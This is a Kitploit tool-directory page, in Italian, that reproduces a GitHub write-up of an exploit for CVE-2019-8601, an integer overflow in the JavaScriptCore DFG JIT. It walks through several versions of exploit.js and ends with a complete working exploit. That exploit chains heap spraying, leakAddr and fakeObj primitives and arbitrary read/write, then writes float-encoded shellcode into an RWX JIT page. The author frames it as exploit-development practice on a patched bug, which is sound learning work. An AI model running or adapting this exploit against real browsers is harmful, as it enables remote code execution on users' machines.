Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-8601 — Sfruttare una vulnerabilità corretta in JavaScriptCore | Kitploit
Strumenti/GitHubGitHub/badaccess11/cve-2019-8601
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo PayloadBinary Exploitation
GitHubbadaccess11/cve-2019-8601

CVE-2019-8601

Sfruttare una vulnerabilità corretta in JavaScriptCore

Vedi Repository
17336 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Sfruttare CVE-2019-8601

Questo è un exploit per una vulnerabilità WebKit originariamente scoperta da Fluoroacetate durante la competizione pwn2own a Vancouver. Sebbene non abbia scoperto questo bug, ho scritto questo exploit per esercitare le mie capacità di sviluppo degli exploit. La descrizione originale dell'exploit è qui di Zero Day Initiative. Sebbene questa descrizione sia molto buona e mi abbia aiutato a comprendere la vulnerabilità, è dal punto di vista di chi verifica la vulnerabilità. Ho scoperto che alcuni dettagli chiave mancano quando si cerca di progettare questo exploit da zero e spero di colmare alcune delle lacune che la descrizione ZDI ha tralasciato e acquisire competenze pratiche su come progettare un exploit complesso da zero.

Passi per lo Sfruttamento

Questi passi servono come schema per ottenere l'esecuzione di codice arbitrario all'interno di JavaScriptCore (JSC), il motore JavaScript di WebKit

  • Identificare la vulnerabilità
  • Attivare la vulnerabilità e crash con ASAN abilitato
  • Ottenere le primitive leakAddr e fakeObj
  • Corrompere la farfalla dell'array per ottenere primitive di lettura e scrittura
  • Usare le primitive di lettura e scrittura per ottenere l'esecuzione di codice arbitrario all'interno di JSC

Identificazione della Vulnerabilità

La vulnerabilità che verrà sfruttata è un overflow di interi che si verifica nel codice prodotto dal compilatore just-in-time (JIT) DFG per WebKit. Questo si verifica specificamente nella funzione compileNewArrayWithSpread. Questa funzione verrà chiamata quando il codice che utilizza la sintassi spread di JavaScript per creare un nuovo array viene compilato JIT da DFG.

compileNewArrayWithSpread

All'interno del codice JIT, prima verrà calcolata la dimensione dell'array. Lo fa aggiungendo la lunghezza di ogni argomento passato al costruttore dell'array. Mentre calcola la dimensione per ogni aggiunta, controlla un eventuale overflow della dimensione. Successivamente chiamerà la funzione compileAllocateNewArray passando la lunghezza calcolata in questa funzione.

compileAllocateNewArrayWithSize

La funzione compileAllocateNewArray passerà quindi la lunghezza calcolata in precedenza a emitAllocateButterfly.

emitAllocateButterfly

La funzione emitAllocateButterfly sposterà quindi la dimensione di 3 bit a sinistra, il che equivale a moltiplicarla per 8. Tuttavia, non c'è alcun controllo per un overflow e quindi un numero come 0x20000001 può overfloware a 0x8

Questo programma C illustra questa vulnerabilità:

overflow-example2

overflow-example

Possiamo usare questa vulnerabilità per ingannare il motore JavaScript facendogli credere di aver allocato un array con dimensione 0x20000001 mentre in realtà ha allocato spazio sufficiente solo per 1 JSValue (8 byte). Ciò risulterà in una primitiva di lettura e scrittura fuori dai limiti (OOB R/W) che potrà poi essere sfruttata per ottenere lettura/scrittura arbitraria e infine esecuzione di codice remota (RCE).

  • Identificare la vulnerabilità

Attivare la Vulnerabilità con ASAN

Per confermare che abbiamo una lettura OOB proveremo ad attivare questa vulnerabilità su una build di JSC con address sanitizer (ASAN).

Per farlo dalla directory WebKit possiamo eseguire i comandi:```bash Tools/Scripts/set-webkit-configuration --asan Tools/Scripts/build-jsc --jsc--only --debug

root@kitploit:~
Ciò compilerà una build di debug di JSC con ASAN abilitato, permettendoci di verificare se abbiamo attivato con successo la vulnerabilità.

Ecco la prima iterazione di exploit.js```javascript
function jitMe(array){
  return [...array]
}

let dummy = [1.1]
for(let i = 0; i < 200; i++){
  jitMe(dummy);
}

let a = []

let len = 0x20000001                                                                     

for(let i = 0; i < len; i++){
  a[i] = 1.1 
}

jitMe(a)

Quando eseguo questo, ottengo il seguente errore:

Program terminated with signal SIGKILL, Killed. The program no longer exists.

La mia ipotesi era che si stesse consumando troppa memoria nel tentativo di allocare un array così grande. Per confermarlo, ho aggiunto un breakpoint nel codice JITed aggiungendo una chiamata a m_jit.breakpoint() all'interno di compileNewArrayWithSpread, che inserisce un'istruzione int3 nel codice JITed.

Dopo aver aggiunto il breakpoint, ho scoperto che non veniva colpito, e quindi ho deciso di testare una lunghezza di 0x20001. Ho quindi realizzato che il codice non veniva nemmeno compilato, così ho aggiunto più iterazioni per attivare il compilatore DFG.```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array] }

let dummy = [1.1] for(let i = 0; i < 60; i++){ print(i) jitMe(dummy); }

let a = []

let len = 0x20000001

for(let i = 0; i < len; i++){ a[i] = 1.1 }

jitMe(a)

root@kitploit:~
Testare il programma così com'è porta comunque al SIGKILL, tuttavia, quando si testa con una lunghezza minore, il breakpoint viene raggiunto. A questo punto mi sembra ancora che JSC stia esaurendo la memoria nel tentativo di elaborare quell'enorme array.

Per gestire questo problema, ho deciso di allocare un array `a` più piccolo e quindi utilizzare la sintassi spread per usarlo più volte durante la creazione dell'array corrotto, ottenendo il seguente exploit.js```
function jitMe(array){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}

let dummy = [1.1]
for(let i = 0; i < 100; i++){
  print(i)
  jitMe(dummy);
}

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){
  a[i] = 1.1
}

jitMe(a)

Usando questo codice siamo riusciti a raggiungere il breakpoint senza un SIGKILL! Come spesso accade, risolvere un problema ne fa emergere un altro e abbiamo ottenuto invece un SIGABORT... Usando il comando bt di gdb possiamo vedere che operationNewArrayWithSize è stato chiamato, il quale ha chiamato create. backtrace1

Sembra strano che il nostro codice JITato stia chiamando operationNewArrayWithSize e deve essere che il codice JITato abbia dovuto prendere un percorso lento verso il motore JavaScript per qualche motivo.

slowcases

Possiamo vedere in compileAllocateNewArrayWithSize che c'è effettivamente un bailout verso operationNewArrayWithSize. Dobbiamo quindi scoprire esattamente perché stiamo facendo bailout al caso lento.

Possiamo vedere che in compileNewArrayWithSpread shouldConvertLargeSizeToArrayStorage è impostato a false e quel percorso lento non sarà nel codice compilato. compileNewArrayWithSpread2

Quindi ha senso che il percorso lento venga incontrato da qualche parte all'interno di emitAllocateJSObject

emitAllocateJSObject

emitAllocateJSObject chiama emitAllocateJSCell che a sua volta chiama emitAllocate.

emitAllocate

emitAllocateWithNonNullAllocator

Senza conoscenza di come funzioni l'Allocatore di WebKit, tutto ciò sembra piuttosto confuso. Ho quindi deciso di aggiungere un paio di breakpoint e di eseguirlo passo passo in gdb.

Dopo aver incontrato un breakpoint impostato in emitAllocateVariableSized che era stato chiamato da emitAllocateButterfly, vediamo il seguente codice assembly: assemblyEmitAllocateVariableSized

Che corrisponde al codice emesso dal compilatore JIT qui: emitAllocateVariableSized

Possiamo vedere che la dimensione dell'allocazione viene sommata a 0xf e poi spostata a destra di 4. Viene quindi confrontata con 0x1f6 corrispondente al ramo del percorso lento. Successivamente sposterà l'allocatore del sottospazio in rsi e indicizzerà in questo puntatore in base ai calcoli eseguiti. Continuiamo quindi al breakpoint che era stato posizionato in emitAllocateWithNonNullAllocator per trovare il seguente codice assembly:

assemblyEmitAllocateWithNonNullAllocator.png

Che corrisponde al codice emesso dal compilatore JIT qui: emitAllocateWithNonNullAllocator

Ora che abbiamo eseguito passo passo parte dell'assembly, abbiamo un po' più di contesto su cosa sta succedendo. Avanzando di altre due istruzioni vediamo che prenderemo il salto:

stepFoward2

Guardando il codice C++ possiamo dedurre che ciò significa che non c'è spazio rimanente nella lista libera di questo allocatore, quindi prenderà il percorso pop.

jumpPerformed

Eseguendo il salto ed eseguendo le successive due istruzioni, vediamo che il salto viene effettuato direttamente corrispondente al prendere il percorso lento. Prendiamo il percorso lento perché il segreto dell'allocatore viene XORato con la testa mischiata dell'allocatore e il risultato è zero. Senza ulteriori conoscenze sull'allocatore di WebKit è difficile capire esattamente cosa stia succedendo.

Anche se mi piacerebbe passare più tempo a studiare l'allocatore di WebKit, ho pensato che un modo più semplice per procedere sarebbe provare un paio di idee e vedere se portano a risultati diversi e da lì fare debug.

Una delle idee che ho avuto è stata di allocare un array di dimensione 0x10 poiché sarà nella stessa dimensione del passo di allocazione del nostro array che innescherà la vulnerabilità e poi chiamare jitMe con un array di dimensione 1. Poiché conosciamo l'indirizzo dell'allocatore possiamo impostare un watch point sui valori che portano ai rami e vedere quando cambiano. Ho avuto questa idea perché ho pensato che allocare un oggetto che sarà nella stessa dimensione del passo potrebbe portare l'allocatore a uno stato diverso più interessante. Questo porta alla successiva iterazione di exploit.js```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array] }

let dummy = [1.1] for(let i = 0; i < 80; i++){ print(i) jitMe(dummy); }

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){ a[i] = 1.1 }

let x = new Array(0x10) let b = [1.1]

jitMe(b)
jitMe(a)

root@kitploit:~
Testare questa idea ha funzionato!![funzionato!](https://assets.kitploit.com/production/public/readmes/15542/05b994ba516d740408e446b0607e913623d257b6a0994ff6da314c3cbd93c484.png)

Possiamo vedere che quando testiamo `jitMe` sul piccolo array non prendiamo il percorso lento! Impostiamo quindi un punto di osservazione su r8 + 0x18 per vedere quando questo valore viene impostato a zero. Dopo aver raggiunto il punto di osservazione otteniamo il seguente backtrace:

![punto di osservazione](https://assets.kitploit.com/production/public/readmes/15542/2ef7158ff792a2cdc12b883671e2ea9ab3d00893fb0c2a56f706040d3ba90563.png)

Basandoci sui nomi delle funzioni nel backtrace, sembra che venga eseguita una garbage collection che imposta il valore di `secret` e `scrambledHead` a 0.

Basandoci sullo stack delle chiamate, sappiamo che la chiamata a `tryCreate` in `createFromArray` è responsabile dell'avvio della garbage collection.

![TryCreate](https://assets.kitploit.com/production/public/readmes/15542/13ab70debb8103d94fd04c6f4c352153f0096f797c089cc6bb957527842aca78.png)

All'interno di `createFromArray` verrà anche eseguito un ciclo per accedere a ciascun elemento e se possiamo intercettare la chiamata per ottenere e reinizializzare l'allocatore, possiamo impedire che prenda il percorso lento.

exploit.js:``` 
function jitMe(array, reInitAllocator){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}

let dummy = [1.1]
for(let i = 0; i < 80; i++){
  jitMe(dummy, dummy);
}

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){
  a[i] = 1.1
}

let b = [];
b.length = 1;

b.__defineGetter__(0, () => {
  let x = new Array(0x10)
})

jitMe(a, b)

Gives us an ASAN error!asan

  • Attivare la vulnerabilità e crash con ASAN abilitato

Heap Spraying per ottenere allocazioni sovrapposte

Ora che possiamo attivare la vulnerabilità in modo affidabile, vogliamo usare la nostra primitiva OOB R/W per corrompere ulteriormente la memoria e ottenere una primitiva di type confusion. Il primo passo è ricompilare JSC con ASAN disabilitato. Dopo averlo fatto, ripetiamo l'esecuzione di exploit.js e otteniamo il seguente crash

sucess!

Possiamo vedere che stiamo corrompendo questo puntatore a 0x3ff299999999999a; quando usiamo il modulo struct di Python per convertire il valore float 1.1 in byte, otteniamo esattamente ciò che ci aspettiamo: 0x3ff299999999999a struct

Ora che vediamo di aver ottenuto una corruzione della memoria, dobbiamo fare un po' di heap massaging per trasformarla in una type confusion. L'idea sarà di spruzzare (spray) un numero di ArrayWithDoubles e ArrayWithContiguous e corrompere la lunghezza della butterfly in modo da ottenere un accesso fuori dai limiti con questi array e ottenere una type confusion. Si spera che allocando abbastanza array si impedisca all'accesso fuori dai limiti di corrompere valori importanti.``` function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator] }

print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }

let b = []; b.length = 1;

let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }

// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }

b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b)

root@kitploit:~
Dopo aver spruzzato questi array, verranno sovrascritti con i dati di `badArray`. Questo impedirà   un seg fault dopo aver scritto fuori dai limiti. Per ottenere un array corruttibile, possiamo allocare altri tre array, un ArrayWithDouble, seguito da un ArrayWithContiguous, seguito da un ArrayWithDouble. Una volta corrotto l'array, possiamo scrivere un oggetto nell'ArrayWithContiguous e leggerlo dall'ArrayWithDouble per creare una confusione di tipo e leggere un indirizzo. Inoltre, possiamo scrivere un indirizzo nel secondo ArrayWithDouble e leggerlo dall'ArrayWithContiguous per ottenere un oggetto falso a un indirizzo specificato.

Implementando questo otteniamo:```
function jitMe(array, reInitAllocator){                                                                                            
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}

print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
  jitMe(dummy, dummy);
}

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
  a[i] = -3.7206620809969885e-103;
}

let b = [];
b.length = 1;

let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
  arrayWithDouble[i] = 2.0286158381253047e-252
}

// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
  arrayWithContiguous[i] = {}
}

b.__defineGetter__(0, () => {
  for(let i = 0; i < 0x8000; i++){
    // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
    if(i % 2 == 0){
      // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
      sprayedArrays[i] = arrayWithDouble.slice();
    }else{
      sprayedArrays[i] = arrayWithContiguous.slice();
    }
  }
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice(); 
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice(); 

// helper arrays to do float and integer conversions
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)

function i2f(num) {
  i[0] = num % 0x100000000
  i[1] = num / 0x100000000
  return f[0]
}

function f2i(num) {
  f[0] = num
  return (i[1] * 0x100000000) + i[0]
}

print("[+] Getting leakAddr and fakeObj primitives")

let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1

badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;

function leakAddr(obj) {
  sprayedArrays[1][0] = obj;
  let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
  return f2i(floatAddr);
}

function fakeObj(addr) {
  let floatAddr = i2f(addr)
  sprayedArrays[2][0] = floatAddr
  return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}

  • Ottieni le primitive leakAddr e fakeObj

Ottieni primitive di lettura/scrittura arbitrarie

Ora che abbiamo un oggetto falso e una primitiva di leak dell'indirizzo, il nostro prossimo obiettivo è ottenere primitive di lettura/scrittura arbitrarie. La nostra strategia generale sarà creare un oggetto falso e puntare il butterfly al butterfly di un ArrayWithDouble e scrivere in questo butterfly l'indirizzo che vogliamo leggere o scrivere. Questa tecnica è utilizzata durante l'exploit originale ed è menzionata da saelo in questo articolo.

Tuttavia, prima di riuscire a fare ciò, ho incontrato un errore inaspettato. Ho scoperto che dopo aver aggiunto una certa quantità di codice all'exploit, attivare la vulnerabilità non funzionava e mi imbattevo nel percorso lento causando un'eccezione di memoria insufficiente.

Per risolvere questo problema, ho scoperto che potevo trattare il codice da eseguire come una stringa e chiamare la funzione JavaScript eval. Per qualche motivo questo è riuscito a aggirare il problema.

Per impostare il nostro oggetto falso, abbiamo bisogno che abbia un ID di struttura valido. Per fare questo, spruzziamo un mucchio di ID di struttura e impostiamo il nostro su un ID di struttura prevedibile.

Per sovrascrivere il butterfly dell'ArrayWithDouble, dobbiamo essere in grado di indicizzare il butterfly di destinazione. Per fare ciò, continuiamo ad allocare array finché l'indirizzo non è maggiore dell'indirizzo dell'elemento centrale dell'array di ID di struttura spruzzati. Impostiamo quindi il butterfly del nostro oggetto falso per essere questo elemento centrale e indicizziamo nel butterfly dell'oggetto falso per impostare il butterfly di destinazione.``` function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator] }

print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }

let b = []; b.length = 1;

let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }

// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }

b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b) // read address from this array sprayedArrays[0] = arrayWithDouble.slice(); // insert address to read into this array and get fake objects from this array sprayedArrays[1] = arrayWithContiguous.slice(); // insert address of fake objects into this array sprayedArrays[2] = arrayWithDouble.slice();

//eval this code indirectly to prevent weird slow path crash let postTrigger = ` // helper arrays to do float and integer conversions var backingBuffer = new ArrayBuffer(8) var f = new Float64Array(backingBuffer) var i = new Uint32Array(backingBuffer)

function i2f(num) { i[0] = num % 0x100000000 i[1] = num / 0x100000000 return f[0] }

function f2i(num) { f[0] = num return (i[1] * 0x100000000) + i[0] }

print("[+] Getting leakAddr and fakeObj primitives")

let NEW_LENGTH = 21 let LEAK_ARRAY_INDEX = 0 let FAKE_ARRAY_INDEX = 1

badArray[19] = NEW_LENGTH; badArray[39] = NEW_LENGTH;

function leakAddr(obj) { sprayedArrays[1][0] = obj; let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1]; return f2i(floatAddr); }

function fakeObj(addr) { let floatAddr = i2f(addr) sprayedArrays[2][0] = floatAddr return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1] } / print("[+] Spraying structure IDs") // now predict structure id var sprayedStructureIDs = []

for(let x = 0; x < 0x400; x++){ let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700} struct['addNewStructureId'+x] = 0x1337 sprayedStructureIDs[x] = struct; }

print("[+] Setting up the fake object") // set up the fake object // subtrace 0x1000000000000 to account for JS boxing var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};

// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array // we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly var baseAddr = leakAddr(sprayedStructureIDs[0x80]) print("[+] Base address @ 0x" + baseAddr.toString(16)) var target = [] var targetAddr = leakAddr(target)

while(targetAddr < baseAddr){ target = [] targetAddr = leakAddr(target) }

// make sure target is ArrayWithDouble target[1] = 1.1

print("[+] Got a array with controllable butterfly") let fakeAddr = leakAddr(fakeHost) + 0x10 let hax = fakeObj(fakeAddr)

let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1; let targetButterflyPointer = f2i(hax[targetButterflyIndex]) print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16)) print("[+] target address @ 0x" + targetAddr.toString(16))

function setTargetButterfly(address) { hax[targetButterflyIndex] = i2f(address) }

print("[+] Got R/W primitive") `

eval(postTrigger)

root@kitploit:~
- [x] Corrompere l'array butterfly per ottenere primitive di lettura e scrittura

### Ottenere l'esecuzione arbitraria di codice nel processo di rendering

Ora che abbiamo una primitiva di lettura/scrittura, tutto ciò che dobbiamo fare è sovrascrivere una pagina JIT con shellcode personalizzato. Sovrascriviamo la pagina JIT poiché questa sarà probabilmente l'unica area di memoria mappata come RWX nel processo. Mentre avremmo potuto invece eseguire una catena ROP e uno stack pivot per mappare una regione di memoria come RWX ed eseguire il nostro shellcode, questo metodo si rivela molto più semplice.

Per sovrascrivere la pagina JIT, abbiamo prima bisogno di una funzione JITata. Ho scelto di utilizzare la funzione `jitMe` che abbiamo usato per attivare la vulnerabilità. Da qui ho usato gdb per seguire i puntatori in questo oggetto fino a raggiungere la memoria che contiene il codice JITato. Va notato che questi offset dei puntatori sono molto specifici per questa versione di WebKit ed è probabile che possano cambiare in futuro. Non ci si dovrebbe affidare a ciò quando si scrive un exploit che deve funzionare su più versioni di WebKit.

Dopo aver trovato il puntatore alla pagina JIT, dobbiamo scrivere uno shellcode per far apparire una calcolatrice. Questo shellcode può essere visto qui:

![shellcode](https://assets.kitploit.com/production/public/readmes/15542/13047bf6155bec046fb0362984aa037f26a004ffd86d5aee3984c91a9f6f7ec6.png)

Dobbiamo quindi assemblare lo shellcode, estrarre i byte e convertirli in float che possiamo scrivere usando la nostra primitiva R/W.

Questo ci dà il file exploit.js finale:```
function jitMe(array, reInitAllocator){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}

print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
  jitMe(dummy, dummy);
}

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
  a[i] = -3.7206620809969885e-103;
}

let b = [];
b.length = 1;

let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
  arrayWithDouble[i] = 2.0286158381253047e-252
}

// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
  arrayWithContiguous[i] = {}
}

b.__defineGetter__(0, () => {
  for(let i = 0; i < 0x8000; i++){
    // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
    if(i % 2 == 0){
      // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
      sprayedArrays[i] = arrayWithDouble.slice();
    }else{
      sprayedArrays[i] = arrayWithContiguous.slice();
    }
  }
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)


// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();

// helper arrays to do float and integer conversions

let postTrigger = `
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)

function i2f(num) {
  i[0] = num % 0x100000000
  i[1] = num / 0x100000000
  return f[0]
}

function f2i(num) {
  f[0] = num
  return (i[1] * 0x100000000) + i[0]
}

print("[+] Getting leakAddr and fakeObj primitives")

let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1

badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;

function leakAddr(obj) {
  sprayedArrays[1][0] = obj;
  let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
  return f2i(floatAddr);
}

function fakeObj(addr) {
  let floatAddr = i2f(addr)
  sprayedArrays[2][0] = floatAddr
  return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
print("[+] Spraying structure IDs")
// now predict structure id
var sprayedStructureIDs = []

for(let x = 0; x < 0x400; x++){
  let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700}
  struct['addNewStructureId'+x] = 0x1337
  sprayedStructureIDs[x] = struct;
}

print("[+] Setting up the fake object")
// set up the fake object
// subtrace 0x1000000000000 to account for JS boxing
var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};

// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array
// we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly
var baseAddr = leakAddr(sprayedStructureIDs[0x80])
print("[+] Base address @ 0x" + baseAddr.toString(16))
var target = []
var targetAddr = leakAddr(target)

while(targetAddr < baseAddr){
  target = []
  targetAddr = leakAddr(target)
}

target[1] = 1.1

print("[+] Got a array with controllable butterfly")
let fakeAddr = leakAddr(fakeHost) + 0x10
let hax = fakeObj(fakeAddr)

let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1;
let targetButterflyPointer = f2i(hax[targetButterflyIndex])
print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16))
print("[+] target address @ 0x" + targetAddr.toString(16))

function setTargetButterfly(address) {
  hax[targetButterflyIndex] = i2f(address)
}

print("[+] Got R/W primitive")

var myJitAddr = leakAddr(jitMe)

setTargetButterfly(myJitAddr+24)
var ptr1 = f2i(target[0])
setTargetButterfly(ptr1+8)
var ptr2 = f2i(target[2])
setTargetButterfly(ptr2-8)
target[0]=1.1
setTargetButterfly(ptr2+16)
var rwx = f2i(target[0])

print("[+] RWX address @ 0x" + rwx.toString(16))
setTargetButterfly(rwx)
target[0] = 7.724899899490056e+228
target[1] = 1.3869658928112658e+219
target[2] = -1.4290575191402725e-37
target[3] = 1.0940812634921282e+189
target[4] = 2.0546950522151997e-81
target[5] = -1.416537102831749e-34
target[6] = 1.1467072576990874e+23
target[7] = 3.39834180316358e+78
target[8] = 1.5324871326e-314
target[9] = 3.173603568941646e+40
target[10]= 1.9656830452398213e-236
target[11]= -6.828527034422582e-229

print("[+] Executing Shellcode...")

jitMe([13.37],[13.37])
`

eval(postTrigger)                 

Finally, a video of the exploit working!

Conclusione

Questo mostra, si spera, come si possa prendere un n-day di JSC e sviluppare un exploit per esso. Ho tratto beneficio dal report di Zeroday Initiative. Sebbene l'abbia utilizzato durante la scrittura dell'exploit, ho cercato di prendere solo le idee principali e di realizzare l'implementazione da solo, senza guardare il report.

Questo exploit è solo una prova di concetto e non è così robusto come potrebbe essere. Sebbene non abbia riscontrato alcun tentativo fallito, c'è sempre lavoro da fare per migliorarlo. Poiché l'ho fatto come esperienza di apprendimento, non mi sono preoccupato di rendere l'exploit il più robusto possibile.

Scarica lo strumento